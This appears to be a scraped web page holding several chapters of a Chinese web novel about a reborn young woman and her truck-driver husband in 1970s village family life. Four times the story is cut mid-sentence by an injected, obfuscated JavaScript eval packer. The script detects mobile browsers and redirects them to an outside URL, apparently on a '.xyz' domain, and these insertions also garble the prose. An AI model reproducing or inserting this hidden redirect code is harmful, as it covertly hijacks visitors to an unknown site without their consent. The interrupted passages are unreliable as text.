已经到午后了,周久迟和应晚真两人早就饿了,只是电影刚好现在放完,“咱们去国营大饭店吃吧,你看看你想吃什么?” 国营大饭店今天的牌子上写着红烧狮子头还有一道粉蒸肉及时蔬,当然还有一些面食,包括饺子。 一看到饺子,应晚真就想起了周久迟最喜欢的就是饺子了。 “吃饺子吧,你不是最喜欢吃饺子吗?” 周久迟一愣,只觉得自己整颗心都暖暖的,“好,你喜欢吃面,那你吃面,我吃饺子。” 应晚真听到周久迟的话也很高兴,不仅仅是因为他记得自己最喜欢吃面,还有现在两人的相处,虽然前世两人也有过甜蜜的时候,但是从来没有这样的自然纯粹无拘无束过,她看着周久迟,眼里像是点满了星光,“好!” 周久迟也被这样的应晚真给彻底触动了,因为他从那双他非常喜欢的眼睛里看见了自己,也看见了应晚真满眼的都是自己。 “你好,一碗阳春面,一碗饺子,再来一碗红烧狮子头跟粉蒸肉。” “你买这么多干什么,我们就两个人。” “没事,吃不完就带回去。” 现在已经是比较晚的时候了,所以上菜上得很快。 这时候的菜分量那是足足的,而且一看就很有食欲。 应晚真的阳春面看起来就非常清爽干净,正是应晚真喜欢的那种,而这次的饺子馅是大葱肉馅的,不过周久迟一向不挑馅,他就是喜欢饺子什么馅的都喜欢。 “来,你尝尝这个饺子。”应晚真刚吃两口自己的面,就看见碗里被夹了两个饺子。 “嗯,好,你也吃一口我的面。” 周久迟整个人都沁着糖丝一样,不过他只夹了一点。 后面两人也没再说话,应晚真没有吃饭说话的习惯,周久迟则是一直脑子晕乎乎的,只觉得现在的日子过得比什么时候都好。 周久迟胃口大,最后基本上都吃完了,只剩下一些粘碗底的,所以也没打包。 等吃完,周久迟还是不想回去那么快,现在的他可珍惜这来之不易的两人世界。 “那边有个公园,你去过吗?” 应晚真前世倒是去过,只不过每次都是自己沉思难过的时候,“去走走?” “好嘞。” 周久迟一点也不放过和应晚真相处的时候,“这个公园是很久以前就有的,据说是以前的人造的,后来新政府成立以后这里就修缮了,变成了公园。” 应晚真看着这一个不大不小的湖,边上县里的高中,湖边还有几张石凳子,那个石凳子是以前她坐过好几次的,“我们去那里坐坐吧。” 周久迟自然是没有不应的,他过去先是把石凳都擦了一遍,最后才让应晚真坐下。 应晚真拉着他一起坐下,只是坐下后两个人的手很快就又放开了。 现在是下午三点钟的样子,石凳子的上方正好有一棵树,就算有阳光也只是几缕,照在身上就是暖洋洋的,应晚真不禁伸开了双手,“这里好舒服啊!” 一看周久迟他整个人也是放松的。 像是感觉到应晚真的视线,周久迟转头朝应晚真露出一个笑,“确实好舒服。” 应晚真看着他也忍不住笑。 “喂,你们俩干啥呢?干啥呢?大白天的坐在这里干什么?” 应晚真和周久迟都被吓了一跳,只见一个白头发的大爷脚步利索地跑过来,“你们两个,我老远就看见你们两个有说有笑往没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448377|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方来,来了就算了,还是大白天的,还越来越近,干什么呢,耍流氓呢?” 两个人本来面上还有点尴尬,但是一听到大爷说的耍流氓顿时就解释了起来。 “大爷,你误会了,我们结了婚的,今天来县城办点事,办完了,就想在这石凳上休息一会儿,我们可什么也没干,你看错了。” 大爷面露怀疑,“结了婚?没干什么,那我刚刚在那边看你们就是越凑越近!” “大爷,你误会了,我们就是说这里很漂亮,被咱们政府修缮得很好,觉得咱们县里真是不错,这不是看到这个觉得高兴,我就跟我男人说两句嘛!” 大爷虽然还是一副不信的样子,但是看他的眼神就知道他已经信了一大半。 “那你们也别待那么近,现在到处都是人,你们就算结婚了也别耍流氓。” 应晚真和周久迟连连应好,等大爷走后,两人只能相视无奈一笑。 “走吧,咱们还是回去吧。” 应晚真首先开口,周久迟虽然不是很想回那么快,但是现在这兴致已经被破坏了,只能一起回去了,只是在回去的时候,周久迟还是去了一趟猪肉铺,他买了两斤大骨头,大骨头是不要票的,直接是五毛钱一斤,两斤就是一块钱。 “我给家里带点骨头回去,明儿个正好炖个汤喝。” “嗯嗯,家里的萝卜好像好了,正好可以炖萝卜,现在又是冬天,吃点萝卜最好了。” “那倒是,炖久一点,那确实好吃。” …… 等到两人回到家,本来面色并不好的孙盼娣看到周久迟手上的骨头,顿时就笑开了花。 应晚真对此就只是假装没看到,只是周久迟的脸色黑了又黑。 晚上,当然不算平静,毕竟这是某人开荤的第二天,自然需要继续吃了。 连着三天,周久迟在家的三天,他每天晚上都加餐,每天早上起床都是精力充沛的模样。 应晚真除了心里气恼羞涩一会儿也没其他的办法。 第三天,也就周久迟要出车的那天,他老早就找到了谢红英,“娘,最近我媳妇不舒服,要是有什么事你多照顾点,还有啊,家里也不缺这几个工分,她干不了就不干了,或者弄点轻省活计。” 谢母早就把这三天的变化看在眼里,这时候自己儿子会来找自己一点也不意外,“你放心吧,在你心里你娘我是一个不讲道理的人?以前我也没对她怎么样,还至于你出车的时候特意叮嘱我吗?” 周久迟顿时赔笑道,“哪呢,我知道娘最疼我,可我这次不是要出车好几天嘛,那不得你帮帮忙嘛!” 谢红英嗔道,“行了行了,知道了知道了,知道你稀罕你媳妇,你放心吧,但是你也知道她成分不好,上工还是得上的,不过她就干点轻省的,也不要她多能干,反正你有钱!”最后一句话谢母说得阴阳怪气,不过就是为了调侃自己的儿子。 周久迟也都受着,他也确实觉得自己足够养活自己媳妇了。 23. 第 23 章 周久迟出车之后,应晚真就继续自己之前的生活,也没什么特别大的变动,但是不知道是不是因为自己和周久迟的关系更进一步了,所以她总是在闲暇的时候想起周久迟。 不过她也没继续任由自己想下去,而是翻开了房里仅剩的几本书,都是一些周久迟的课本,应晚真一到晚上就在房里开着灯看这些书,她一直都不习惯早睡,所以每天晚上回房后,她都会看一会这些书。 日子就这么一天天过去。 应晚真也算着周久迟离开的日子,等数到第九天,应晚真没看到周久迟回来,倒是收到了一个包裹。 邮递员骑着单车送过来的,满满一包还有一封信。 “应晚真知青是吧?这是你的包裹,签收一下。”这时候正好是中午,大家伙都在吃饭,乍一看到这么大的包裹大家都有点好奇。 “之前那知青点不也有个知青,他家里条件好得很,每个月家里给寄一大包东西,不过应知青倒是没收到过,现在这么一大包是谁寄来的?” “她家里吧,要不是她家里还会有谁寄呢?” “她家里,她家里不是住牛棚的那些嘛?怎么还会有东西寄过来?” 旁人一听到这话顿时也想起了应知青的身份。 应晚真也对这次的包裹也满是好奇,因为她印象中自己好像没收到过这样的包裹。 等看到寄件人,应晚真这才知道居然是自己大哥寄来的。 应晚真不禁觉得奇怪,记得前世这时候自己家里出事,大嫂家里也出事了,大嫂这时候还怀着孕,一家人也很艰难,怎么现在会给自己寄东西呢?再说了,大哥现在自己在部队应该也很艰难。 不过应晚真并没有直接表现出来。 直接签收了包裹。 等邮递员走后就有人大着胆子问,“应知青,这是啥东西啊?” “家里寄的,就一些用的东西。” 应晚真没当着他们的面开包裹,毕竟万事还是得小心点,所以她拿着包裹直接回了房。 等应晚真回屋锁好门,才开包裹,最先露在自己面前的是一封信。 应晚真一打开就发现确实是自己大哥的笔迹,“三妹,自家里出事以来,一直没有见面,你大嫂这边家里事情也比较多,由于身份关系我不便联系你,但是前几天我偶听到家里打来的电话,他电话里很是焦急,说是你写信告知他你已结婚,对象是县城里的一个司机,还给父母寄了一只风干羊腿。 “大哥思来想去,觉得三妹既然写信告知这件事我便也回信给你,三妹,你过得可还好?日子是否艰难,可有需要帮助的事?信封里有一百元钱及一些票证,你拿着放手里,不要让别人知道,留着自己防身。 “另,父母这边你不必担忧,父母希望你顾好自己,父亲说你的棉裤很好,很暖和,热水瓶和暖手宝也很有用。你自己也要保护好自己。二弟现在仍然在任务中,不可联系,你尽放心即可。 “如看到信,记得及时回信,如有急事可拍电报或电话,最后,妹夫人如何,为何那么快便结婚了?” 应晚真看着这封信,全是担心自己的,她知道这一年来,大家都不好过,别说自己刚来的时候被排挤,被传各种流言蜚语,但是父母那时候正是处于严厉看管的时候,现在也只是比最严厉的时候更松一点而已,要不然父亲也不会因为这样一个冬天而把自己的腿给弄出伤病来。 大哥大嫂也很艰难,除了自己家出事,大嫂家也出事了,大嫂和大哥是青梅竹马,两家人就是一起长大的,虽然因为大哥大嫂都在部队,两人不会被牵涉,但是两个人也依旧是如履薄冰,更别说现在给自己寄钱和包裹了,一百块钱应该是大哥一个月的收入了,但今年肯定每个月的支出都很大,两家的长辈,怀孕的大嫂…… 至于二哥,二哥也在部队,但是家里没出事前他就去参加秘密任务去了,一直都没有消息,记得前世这时候大家一度以为二哥已经牺牲,毕竟两三年都没有任何的消息,不过应晚真知道,那是因为这个任务的机密程度实在太高,所以才一直没消息,不过后年他就可以平安回来,而他回来没多久,父母也平反了。 想到这,应晚真马上收起自己的情绪,看向了包裹,是一件女式大衣,很合适也很暖和。 应晚真没有继续沉思,而是计划着给自己大哥寄点什么过去,大哥的日子也不算好,大嫂现在应该也快要生了,既然这样,那么就送点红枣吧。 这里的红枣个不算大,但还算是好吃,而且红枣寓意也好,算是不错的礼物。 应晚真在里面看信,外面的人尽管看见应晚真进屋了,但一个个的还是探着头想要包裹里到底是什么,也就是周父在院子里,要不然这些人就直接进来了。 没多久也就是吃饭的时间了,今天的饭是二合米加上番薯煮的饭,还有一盘咸菜,一盘萝卜炖肉丝,说是炖肉丝,但是一大盘里面也就只能看见几根肉丝。 应晚真也没去吃萝卜,因为菜一端上,老二一家就把筷子伸向了萝卜这道菜,应晚真看着只感觉到处都是唾沫,所以她也只是拿着自己饭碗,多夹了点咸菜。 等吃得差不多的时候,孙盼娣才终于有了时间,她笑吟吟地,一看就觉得没憋什么好心思,“弟妹,刚刚你不是收了一个包裹吗?你家里给你寄的?是什么好东西啊,拿出来给我们开开眼啊!” 应晚真瞟她一眼,“我哥给我寄了一件冬衣,也给我写了封信,问我过得怎么样,有没有人欺负我,有没有人总是惦记我的东西,问这里的人好不好,会不会跟那四害的麻雀一样,天天偷吃,天天叽喳叫唤。” 孙盼娣越听越觉得不对劲,一听到应晚真说的叽喳叫唤之后,马上啪地一声筷子拍在桌子上,“你说谁呢?你高傲些啥?不就是下放的牛鬼蛇神吗?神气些啥?” 应晚真被她的大嗓门镇得耳朵有点不舒服,但她也只是稍稍偏了下头,和刚刚说话一样的语气,“说四害的麻雀。你刚刚没听见吗?” 说完,等餐桌上安静了几秒之后应晚真又继续说,“二嫂以后还是不要总是一惊一乍得好,我父母现在在农场劳动这件事整个村子都知道,知道的明白二嫂你没啥坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454909|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心眼,不知道的还以为你就跟那孔雀一样,总是翘着尾巴,还以为咱们家里不和睦呢。” 周家庸最讨厌的就是家里不和睦,听到这话马上就训斥道,“老二家的,你平日里咋咋呼呼的就算了,以后你这张嘴别天天瞎咧咧,你爱说你娘家的事就说去,别天天掺和这掺和那。” 周家庸属于那种要么不说话,一说话家里都怕的那种。 应晚真听完这话也没再说什么,她只是继续吃自己没吃完的饭。 第二天傍晚,周久迟终于回来了,他刚进村,就有好事的人跟他说,她媳妇收到了一个大包裹。 周久迟虽然有些意外但是又觉得在情理之中,毕竟自己媳妇一看就是家里娇养的,可转念一想,岳父母可能没机会寄包裹,那会是谁呢。 等他到家,就敏感地发现家里氛围很一般,其实也就是孙盼娣她自己心里有气,但是其他人还是该干嘛就干嘛。 这次因为赶着回来,所以周久迟并没有带什么东西回来,他这次就在家待一天,打算早点回来陪媳妇,明天再带媳妇出去一趟。 而本来心气不顺的孙盼娣这下看到没有加餐更是气愤。 应晚真正在把自己的衣服收进来,一转身就看见周久迟进来,顿时她脸上就染上了笑意,“回来了啊。” 周久迟原本被家里气氛影响有些不高兴的顿时就不由自主地露出了一个笑容,“是啊,”说完,周久迟眼尖看见应晚真手里的衣服,直接接过来,“我来拿。” 应晚真本想拒绝,毕竟也就几件衣服而已,但是周久迟动作快,直接就把自己手里的衣服拿走了,她也就没说什么。 两人一起进了屋。 “这次出车怎么样,顺利嘛?”尽管应晚真看到周久迟这副模样也知道顺利,但还是忍不住问一嘴。 “顺利,这次去的时候和我一起的他的车胎爆了,我都差点以为要在野外一起过夜了,结果幸好最后修好了,我们也就在晚上八点多到了市区。” “车胎爆了,那你们怎么修啊?找人?”应晚真琢磨着现在也没手机啊,这怎么联系人。 “一般不找人,我们自己修,要是实在修不好才会去近一点的地方联系运输队给派人过来。”周久迟接过应晚真给他递的热水,咂一口,“不过我们这次幸好是去的时候,我们出去也运了一点农产品,不算太值钱,就算在外面过一夜也安全。” 应晚真听得有些害怕,现在还是有那种亡命之徒的,尤其喜欢打劫这些开车的,“那你以后开车可要小心点,你别忘了家里还有我呢!” 感觉到自己媳妇的关心,周久迟心里甜滋滋的,连这白开水也有味道了起来。 等两人说得差不多了,家里也开饭了,今天家里炒了盘鸡蛋还弄了些豆腐青菜汤,虽然没有肉,但是也有鸡蛋这些,也算是比较好的一顿了。 不过饭桌上孙盼娣还是臭着一张脸。 周久迟并不搭理这些东西,而是一直给应晚真夹菜,鸡蛋还有豆腐汤。 “老三,这次回来在家待几天,下次出车去哪里?” 24. 第 24 章 “娘,这次后天就出车,不过年前只去市里了,不去远的地方,等过完年才出远车。” 谢红英听着觉得高兴,“那行,过几天也快要清鱼塘了,清完鱼塘就杀年猪,到时候家里多做些腊肉和腊肠!” 周久迟一听心里也高兴,“行,到时候清鱼塘,咱们应该有不少鱼吧!” “应该是,看队里怎么分,看起来今年的鱼长得都挺好。” 谢母说完转头看向应晚真,“老三家的,你们家那边过年都是怎么过,今年你是来家里的第一年,咱们还得祭拜祖宗。” 应晚真有些意外,前世是没有这个步骤的,不过前世这时候还是跟家里闹得僵的时候,“我家里也没什么特别的规矩,就是过年一定会包饺子。” “包饺子?正好老三喜欢吃,正好你们那过年一定吃饺子!”谢母一听就觉得这事很是不错,“那今年过年肯定要有一道饺子了。” 应晚真笑着点点头。 周久迟倒是看向了应晚真,“包菜肉馅的?你喜欢吃什么馅的?” “我们那一般都有好几种馅,不过我家除了包菜肉馅的,一定会有的是羊肉馅的,除了羊肉馅还会有茴香馅的。” 周久迟一边点头一边记下,“还有茴香馅的饺子?你喜欢吃?” “茴香馅的也挺好吃的,除了茴香馅的我们一般也会做虾仁馅的,虾仁的饺子也很不错,你不是喜欢吃饺子嘛?有机会可以吃吃我家那边的饺子。” “好。” 谢红英也不止想知道吃什么,还有他们家那边的习俗,“你老家那边除了吃饺子还有什么习俗嘛?” “习俗?也没什么特别的,奥,一般家里都要有八大件。” “八大件?” “三转一响那样的东西?”老大家的大女儿忍不住出声。 “不是,是吃的,八种点心,八种点心摆在一个盘子里,所以叫八大件,根据个人口味做成酥皮的或者奶皮的?” “酥皮和奶皮是什么意思?” “就是这些点心都是有面皮和馅的,有些人喜欢酥皮的那就做成酥皮的要是喜欢奶皮的那就用奶做成奶皮。” “我滴乖乖,奶做成奶皮啊!那得耗多少奶,”孙盼娣忍不住嘀咕,“难怪是资本家的孩子,奶直接做成皮来吃。” 应晚真原本还在笑着,顿时她脸上的笑就消失了。 周久迟第一个反应过来,“孙盼娣,我岳父岳母是去建设农场,我媳妇说的都是京市人都会吃的,你自己是个乡巴佬就不要开口,显得你山沟沟里的了是吧?” 周久迟是压着怒火说的。 谢红英也落下了脸,“老二,你要是管不了你媳妇,那你们一家子就出去自己过,省得每天就知道在这里满嘴喷粪,大队里都说了老三媳妇爹娘是建设农场,别天天不知道从哪学到个词就到处说嘴,我告诉你,要是不懂得一家子一起生活就是得劲往一处儿使,那这个家迟早败了,当家的,你说句话。” 周家庸其实心里也不痛快,不过他看自己老婆子和老三都出声了,也就没再下重语气,“老二,你是个男人,那就要把家当起来,要是再当不起来,你就带着自己老婆孩子自己上外头过去吧。” 周久建自然知道自己没什么本事,尤其是孩子都三个了,肚子里还有一个,要是分家了,那可真的养不起,现在老三还有工作,一起吃还时常能吃上肉,要是把自己一家赶走了,那可了不得,再说了他其实也特别烦孙盼娣。 刚刚听弟媳妇说的时候他就已经有点想吃那什么八大件了,结果这没脑子居然说人家是什么资本家,本来他还想着今年可能可已吃到了,这会儿别说吃到了,不克扣自己的就算不错了。 “爹娘,你放心,我一定好好管教她,”说完,周久建就瞪圆了一双眼睛,看着孙盼娣的眼神就像是要杀了她一样,顿时,孙盼娣心里就是一跳。 “啪”地一声,周久建一巴掌拍到了孙盼娣的脸上。 那声音响的吓了应晚真一跳,桌上其他人也被不小的吓了一跳。 周久迟马上挡在应晚真面前,还把要冲过去继续打孙盼娣的周久建拉过来。 周家庸也被自己这个儿子气坏了,虽然他也不喜欢这个儿媳妇,但是也不能这样直接打啊。 他把碗筷直接往桌上一扔,“老二,你是真的想让我现在就把弄出去自己住吗?” 把这么一吼的周久建马上就停了手,“爹,我这不是想着她老不长记性,教训教训就记得了吗?” “我告诉你,咱们家里就没有对自己媳妇动手的规矩,你们两口子要怎么弄自己去弄,不要在大家伙面前乌烟瘴气的。” 谢红英看了眼捂着脸撇着嘴要哭不哭的孙盼娣叹了口气,“你们两个自己要怎么都回屋去,还有你,说过你多少次了,管好你自己的嘴,管好你自己的嘴,对你自己只有好处,没有坏处。” 说完这句,周家庸和谢红英都不想继续说什么了,“好了,继续吃饭。” 不过现在吃饭氛围就没这么好了,大家都埋头吃饭不管做任何其他动作。 晚上,应晚真洗完澡就进被窝了,现在的天气是越来越冷了,洗完澡不进被窝简直受不了。 周久迟也去冲澡了,他一进来就翻开被子钻进来。 “好冷啊这几天。”应晚真没话找话。 “是啊,北风吹过来了,后面还会更冷,小年后应该还会下雪。” 应晚真点点头,这里的冬天是真的好冷啊,而且还湿,在被窝里也不容易暖起来,像现在,应晚真的脚还是冷的,她的脚到现在还没暖起来,她有点受不了了,直接把自己的脚缩起来,希望能尽快热起来。 周久迟注意到这个情况之后,马上从自己那过来,拥住了应晚真,还用自己的腿夹住应晚真的,渐渐摩擦着。 应晚真有些不适应,但看周久迟和平常没什么变化的表情也就没说什么,反而感受起这个触感来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461759|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你怎么那么快就暖起来了?” “刚刚我不是在搓嘛,搓起来热得快。” 应晚真反应了几秒才知道原来刚刚周久迟一上床就在床上窸窸窣窣的原来是在把自己搓热啊。 “你还有这个本事呢。”应晚真笑了笑,刚刚的不适已经全都没有了,她直接转个身整个人钻进周久迟的怀里。 周久迟的身体有一瞬间的僵硬,不过很快就被他掩饰下去了,他伸出手把人捞进自己怀里,闻着她发丝的清香,心情也渐渐舒爽起来。 “明天想去哪?咱们上县城去吧,买件衣服,我们这冬天也挺冷的,” 应晚真一听,就想起自己还有一件事没跟周久迟说,“冬衣嘛?我有两件,当初下乡的时候自己带了一件,昨天我哥给我寄了一个包裹,就是一件大衣,所以我冬衣倒是够了。” 周久迟这也才想起刚回来的时候刚好有人在他耳边说自己媳妇拿到了一个包裹,“咱哥?” 应晚真还没从咱哥这个称呼彻底习惯,她忍不住从周久迟的怀里探出头来,看这两个字是怎么从周久迟嘴里说出来的,要是她自己,她可说不到这么自然。 “嗯,我哥,我爸收到我们寄的火腿了,他挺担心我的,因为他在农场不方便,所以让我哥给我联系一下。” 周久迟稍稍一想就知道那个担心你是什么意思了,“那咱们再给他写一封信?” 应晚真点点头,“我打算给我大哥寄点咱们这里的特产红枣,我大嫂要生了,他还给我寄了一件大衣,还是得回礼的。” “那肯定是要回礼的,要不等下次我出车回来再去寄?” 应晚真有些不明所以,“嗯?” “我想着既然大嫂要生了,那肯定需要不少东西,我这次出车在市里买些东西。” 应晚真思索了一会儿,“我大哥大嫂都在部队里,他们一般的物资肯定是有的,而且部队里寄东西也挺严的,不好准备什么吧。” “大哥大嫂都是部队的?” “是啊,我大哥大嫂都是部队的,我大哥是军人,大嫂是部队里的医生。” 周久迟这下是真的觉得自己的妻子不是一般人了,有个当兵的哥哥和一个军医的嫂子,顿时他就觉得自己有点不够格了,毕竟自己只是个拉货的司机,尽管在别人眼里自己这工作很吃香,但是对于在外见过不少世面的周久迟来说,那就是不够看了。 “行,那我看看带点什么合适,到时候我一起买回来寄过去。” 应晚真也没什么不可的,索性就点了点头。 说完正事,周久迟抱着应晚真心里就有点蠢蠢欲动了,没多久,应晚真就感受到了有只咸猪手在自己身上滑来滑去,等她要反抗的时候已经没有力气了,最后只能压着声音在周久迟耳畔发出一声又一声令人面红耳赤的呻吟。 到最后还是周久迟给应晚真收拾的,因为担心着凉,周久迟在给应晚真擦身体的时候还是抱着应晚真…… 25. 第 25 章 第二天,周久迟不用出去,他待在家里和应晚真一起睡了个懒觉。 等两人起来的时候,家里已经没人了,周久迟自己做了早饭,等两人收拾好,周久迟才说,“今天中午想吃什么?” 应晚真想了想,摇头,“都行,你看着弄就行了,今天中午我们做饭吗?” 周久迟没点头也没摇头,“我觉得这段时间你都瘦了,是不是家里的饭菜你吃不惯?平日里家里吃饭看你也是不怎么夹菜。” 应晚真想了想平日里吃饭的时候,除了有好菜谢红英会每个人每个人分,其他时候都是一大盘自己夹的,她对这么多双筷子一起在菜里翻来翻去就觉得有点恶心,尤其是二房一家的,孩子整天都是脏兮兮的,脸上没一块干净的,尤其是这几天,天天吸溜着鼻涕,应晚真总是能看见老二家的男孩鼻涕都要掉到筷子里了,然后又吸溜回去了。 她看着是真的恶心,不过也没办法,人家父母都不觉得自己儿子这样有什么问题,要是说了,孙盼娣指不定又要说什么了。 除了孩子的鼻涕,就是应晚真大家吃饭还说话,自己的口水到处喷洒,她就有点难以下咽。 周久迟看应晚真皱着眉想说又不说的模样,心里也是着急,自己的媳妇有事自己不知道那可太难受了,他上前一步,一只手虚虚地搭在应晚真的肩上,“怎么了,你告诉我就行了,没事的。” “也没什么,就是最近二哥家的孩子感冒了,虽然吃了药,但是不怎么擤鼻涕,鼻涕挂在脸上,吃饭的时候总感觉要弄到筷子上,还有家里吃饭的时候二嫂他们总是说些七七八八的,就容易把嘴里的东西喷出来。” 周久迟听着自己媳妇的描述,顿时自己心里也觉得恶心,“好,我知道了。”说着,周久迟又想了想,“后面我给你多买点吃的,你先吃着,家里这边我会说一下,不过他们一直以来都是这样,改起来不容易,等再过段时间我在家里再弄个厨房,咱们自己吃。” “这不好吧,村子里不是一般都在一起吃,爹娘也不会同意的,而且大家还要骂你。” 周久迟听着自己媳妇一直都在为自己着想,顿时心里暖呼呼的,“不用担心,后面我来弄就好了。” 应晚真点点头也没再说话。 “那今天中午我来做饭,你想吃什么?” “我还挺想喝汤的,天气冷了,喝点热汤嘛!” 周久迟点点头,“正好把我之前买回来的那块腊肉切了,拿来炖白萝卜,可以吗?” “当然,这样炖很香啊!” 周久迟看见自己媳妇高兴便也高兴。 应晚真也没什么事,跟着周久迟一起去了菜园子。他拔了些萝卜跟蒜苗,还有一些茼蒿,“中午炒个茼蒿,你喜欢这菜。” “那什么时候弄点饺子,你也喜欢吃。” 周久迟一整天都是眉眼笑笑的,“下次,等我下次出车回来我带点肉回来包饺子……” 今天轮到大嫂做饭,她上工一回来就闻到厨房里飘出来的香气,等进去一看,就看到周久迟和应晚真两人坐在一起说话。 “三弟,弟妹,今天你们做了饭呐,可真香,我们也算是有口福了。” 应晚真对这个大嫂没什么意见,毕竟这个大嫂平常也没什么坏心眼,而且人也还算宽厚,“大嫂,你回来了啊,先歇会儿吧,等他们回来就差不多开饭了。” 周久迟就在一旁继续折腾自己的汤,和饭。 等家里人都回来,也都闻见了这股味道,谢红英第一个跑进厨房,看见自己的三儿子正在做饭,三儿媳在收拾饭碗,顿时心里乐了起来。 “儿子,今天你做饭呐,还做了一个汤,真是香呐。” “嗯,我把我之前买的那个火腿腊肉拿来炖汤了,娘,你快来分一下,分好就可以开饭了。” 谢红英也知道要是不分,一端出去肯定有人抢,所以也没矫情,拿到应晚真端过来的碗筷打算开始分,还不忘往外吆喝,“老大老二家的赶紧把自己洗干净还有自己的娃儿洗干净,我现在马上分饭了,今天老三跟三媳妇一起做了汤!” 分好后也不用端出去,等会儿他们会自己过来端,所以应晚真就站在一旁。 先进来的是老二一家子,她家小儿子周诗富一进来就伸出手来,“奶,我要!” 周久迟一眼过去就看见孩子脸上挂的鼻涕,顿时皱了眉,“咋这么埋汰,家里不是说了吃饭前要洗手嘛?你看看你的脸,全是鼻涕。” 谢红英一瞅,还真是,“老二家的,你们夫妻俩是死的吗?孩子洗不干净你们当爹娘的不知道帮忙洗一洗?你看看,鼻涕都要到嘴里去了!” 应晚真早就待在周久迟边上去了。 孙盼娣一进来就被骂,心里也不好受,这会儿看见自己的儿子,也是气得不行,她早就馋这个汤了,闻着就老香,这会儿看见自己的儿子不免心里也来气,她一使劲捏住周诗富的鼻子擤出一把鼻涕然后随便弄在地上。 应晚真看见这画面,突然喉头有点上涌,差点干呕出来。 周久迟注意到这情况,马上抚了抚应晚真的背,谢红英看见这个场面,心头顿时一跳,这……三媳妇不会是有了吧…… 不过这会儿还有人她也没问出口,而是脸上的笑意又浓了点。 谢红英吃饭的时候就一直扬着嘴角,但是因为还没确定,所以就没有直说。 “老三,这次出车之后,小年能回来嘛?” “能,不过得下午了,我尽快回来。” 应晚真一听,缓缓说,“不用急,自己路上小心点。” 周久迟心里高兴,冲着自己媳妇傻笑。 谢红英一听也马上附和,“是啊是啊,你开车的路上自己小心点,慢点就慢点了。” 周久迟现在只要在家就是乐呵呵的,谢红英虽然觉得自己儿子这样不值钱的样子没眼看,但终究没说什么,倒是在吃完饭的时候拉着周久迟去了厨房。 周久迟刚想着跟媳妇一块儿睡个午觉啥的,突然被自己娘拉过来,也是有点摸不着头脑,“娘,咋,你还有啥事?” 谢红英看着自己儿子皱着眉不太情愿的样子,伸手就在他身上打了一巴掌,“咋了,娶了媳妇就忘了娘?”说完,谢红英看了看厨房外见没啥人马上凑近周久迟,“你媳妇是不是有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467277|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 周久迟听到这话脑子有一瞬间的怔愣,“有了?有什么?” 谢红英一看周久迟这不开窍的模样,顿时火大了起来,一巴掌更是没收着力直接拍在他的背上,“你说有什么,哈?”看周久迟还露出一脸不明所以的模样,谢红英气不打一处来,“肚子啊,你媳妇肚子是不是……”说着,谢红英脑海里出现了一个可怕的念头,“你不会还没碰上你媳妇吧?” 周久迟终于明白谢红英的意思了,害怕婆媳俩人又出现误会,他连忙解释,“这哪能呢,她不跟我还跟谁?我们现在都在一起!”说着,周久迟脸上又出现了痴汉笑。 等笑了会儿后他才想起自己娘刚刚说的事,“娘,你咋说我媳妇有了,咋看出来的,我不知道啊,我媳妇没跟我说啊,诶?不对,你怎么觉得我媳妇有了的。” 谢红英把刚刚她分菜的时候看见应晚真干呕的事说了一下,“娘,你误会了,这不是怀了,你自己不是看见了吗,你看周诗富,鼻涕都到嘴里了,我媳妇觉得恶心!” 谢红英虽然不想承认,但一想自己媳妇那贵气样还是信了,“真的?” “那不是,娘,以后你让他们注意点卫生,你看以前赤脚大夫来看病不是说了让我们注意卫生嘛?还有之前老姨家的孙子天天脏兮兮的,最后手里脚上嘴上全是泡,送进医院住了好几天,吃药还吃了好几天!” 谢红英本来心里还有些不高兴,一听到住院啥的顿时也紧张了起来,“行,我等会儿就跟他们说,天天埋汰样,不知道还以为是乞丐呢!” 周久迟知道这事后也满意了,虽然不能一下子就改好,但是最起码得尽量让媳妇住得开心些。 周久迟弄完这些就回了房,他一进去就看见自己媳妇在书桌上写写画画,一走进发现是一些红枣之类的。 “这是要给大哥的嘛?” 